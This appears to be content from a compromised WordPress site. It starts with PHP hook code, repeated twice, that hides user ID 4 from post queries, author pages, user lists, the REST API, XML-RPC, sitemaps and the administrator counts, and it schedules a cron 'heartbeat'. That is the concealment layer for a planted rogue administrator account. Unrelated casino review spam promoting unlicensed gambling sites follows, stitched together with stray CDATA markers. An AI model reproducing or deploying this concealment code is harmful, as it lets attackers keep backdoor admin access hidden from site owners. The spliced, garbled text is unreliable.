add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Basswin is an international casino and sportsbook, not a UK-regulated operator. No UKGC number is displayed, and the operator details don’t offer a verifiable Curaçao licence either – so treat any licensing claim as unconfirmed. That isn’t the same as saying the site is a scam. Traffic is encrypted with TLS 1.2, identity and payment-method checks are applied, and anti-money-laundering due diligence is in place. Decent technical hygiene. It just isn’t regulatory oversight, and nobody should pretend otherwise.
Volume is the pitch, and it holds up. More than 2,300 slots from 34 studios – Play’n GO, NetEnt, Pragmatic Play among them – sit alongside roughly 90 jackpot titles and familiar names like Book of Ra Deluxe and Starburst. Demo versions cover much of the catalogue, which is the cheapest way to work out whether a slot deserves your money.
Table players get 400-plus options: single-deck and multi-deck blackjack, European, American and French roulette, commission-free and progressive baccarat, plus craps, sic bo and Pontoon 21. The live floor runs 90+ tables on Evolution and Pragmatic Play streams, with British-speaking croupiers and show games like Gonzo’s Treasure Hunt and Mega Ball. Sport covers 55+ categories, from the Premier League down to darts and snooker, with in-play markets and live stats.
The headline is a package advertised at up to £3,000, 375% and 300 free spins. The card that actually matters is the first deposit: 150% plus 100 spins from £25, wagering x45, max bet £2 while the bonus is live. Activate the offer card in the Offers section before depositing, or it doesn’t apply. Weekly cashback is the better-value recurring perk:
| Weekly deposits | Cashback rate |
|---|---|
| £100-£500 | 5% |
| £500-£1,000 | 7% |
| £1,000-£2,500 | 10% |
| £2,500-£5,000 | 12% |
| £5,000 and above | 15% |
Claim it within three days, and note it can’t be triggered while a casino bonus is active or a sports bet is still open. Claimed cashback lands as real money with no wagering attached. That’s rare, and worth more than a flashier percentage.
Deposits generally need three times’ turnover before a withdrawal, so plan for it. Before you hit request:
Payouts cap at £10,000 weekly and £40,000 monthly, and funds normally return to the method you deposited with.
There’s no public download page. The app sits inside your account after registration, and a one-time installation bonus of up to £50 applies if you time your deposit correctly.
Basswin is a genuinely broad platform with a cashback scheme that beats most rivals and a lobby that will keep you occupied for months. The catch is structural, not cosmetic: no UKGC licence. So set your own deposit limits, lean on the cashback rather than chasing the welcome bonus if you’re a regular, and don’t park money there that you’d ever need to argue about later.
]]>One deposit, matched at 300% up to £1,000, with 300 free spins attached. The minimum to qualify is £20. The cap lands at a £333 deposit – that’s the point where the full £1,000 bonus is unlocked. Deposit more and you’re simply funding your own balance.
| First deposit | Bonus received | Total playing funds |
|---|---|---|
| £20 | £60 | £80 |
| £100 | £300 | £400 |
| £333 | £1,000 | £1,333 |
| £500 | £1,000 (capped) | £1,500 |
Wagering sits at 35x on the bonus, with slots doing most of the lifting and live/table games contributing less. A £1,000 bonus means £35,000 in qualifying wagers before a penny converts to cash. Match the deposit to what you’d realistically play through, not to the largest figure on the page.
Over 5,000 titles drawn from 45-plus studios – NetEnt, Pragmatic Play, Play’n GO, Evolution, NoLimit City, Yggdrasil, Spribe, BGaming. The slot shelf alone runs past 2,300 games, covering Megaways, bonus-buy, Hold & Win and a progressive jackpot catalogue of 150-plus networked titles. Table players get 300+ RNG games with 40-plus roulette and 50-plus blackjack variants; live fans get 90-plus HD rooms running around the clock, with Evolution’s game-show titles leading the bill. Crash and instant games use provably fair verification, so outcomes are checkable before the round settles.
The sportsbook isn’t a bolt-on. It covers 55-plus sports from the same GBP balance – a Premier League fixture typically carries 250-plus markets, and in-play pricing updates alongside possession and head-to-head data. Deposit for slots, stake it on a live bet without moving a penny between accounts.
Verification comes first, always. Then:
Crypto is the quickest post-approval route at roughly an hour; e-wallets land same-day, cards take a few business days. Weekly and monthly caps rise as you climb the five-tier loyalty ladder, where points accrue at one per £10 on slots and one per £20 on tables.
Deposit £333 only if £35,000 of wagering sounds like your normal month. If it doesn’t, take the £20-£100 tier, keep the free spins, and treat the bonus as entertainment budget rather than a target. The offer rewards arithmetic, not enthusiasm.
]]>New players get a three-stage welcome package rather than one lump sum, which is either generous or a clever way to keep you depositing. Both things are true. The structure is simple enough:
The catch is the fine print: 45x wagering on everything and a seven-day clock that starts the moment you claim. Miss the deadline and the balance evaporates. Weekly cashback – handed out every Tuesday, capped at 15% of the previous week’s losses – is friendlier, but it also expires fast, so treat it as play money with an alarm attached.
Volume is the headline, and it holds up. The lobby covers Megaways, Hold & Win, Bonus Buy, three-reel relics, and progressive jackpots, with more than 90 studios feeding the machine – Pragmatic Play, NetEnt, Play’n GO, Microgaming, Hacksaw, Evoplay. Live casino runs past 90 dealer tables, from ordinary blackjack and baccarat to the game-show absurdity of Crazy Time and Monopoly Live. Crash titles, video bingo, and a sportsbook covering 50-plus sports with pre-match and in-play markets round it out. Navigation is clean on desktop and mobile browsers alike, which matters more than it sounds when a lobby is this crowded.
Deposits start low, land instantly, and cost nothing. Cashing out is where methods diverge sharply:
| Method | Deposit | Withdrawal |
|---|---|---|
| Visa / Mastercard | Instant, no fee | Several working days |
| E-wallets & Apple Pay | Instant | Usually within hours |
| Crypto (BTC, ETH, USDT) | Instant | Fastest option, a couple of hours |
| Bank transfer | Instant | Up to five days |
Two-factor authentication and KYC checks are mandatory before any payout, so verify your documents early rather than the night you want the money.
Here is the part the bonus banners won’t mention: this is not a UKGC-licensed operator, and it sits outside GamStop. Encryption is solid, but UK players have no official recourse if something goes sideways. Self-exclusion, deposit limits, and timeouts exist – thinly.
If you want a sprawling arcade with fast crypto payouts and you’re comfortable playing without UK regulatory cover, this place delivers. Set your own deposit cap before you touch the welcome offer, claim the cashback the day it lands, and withdraw your first win early – a small test run tells you more about an unlicensed casino than any review ever will.
]]>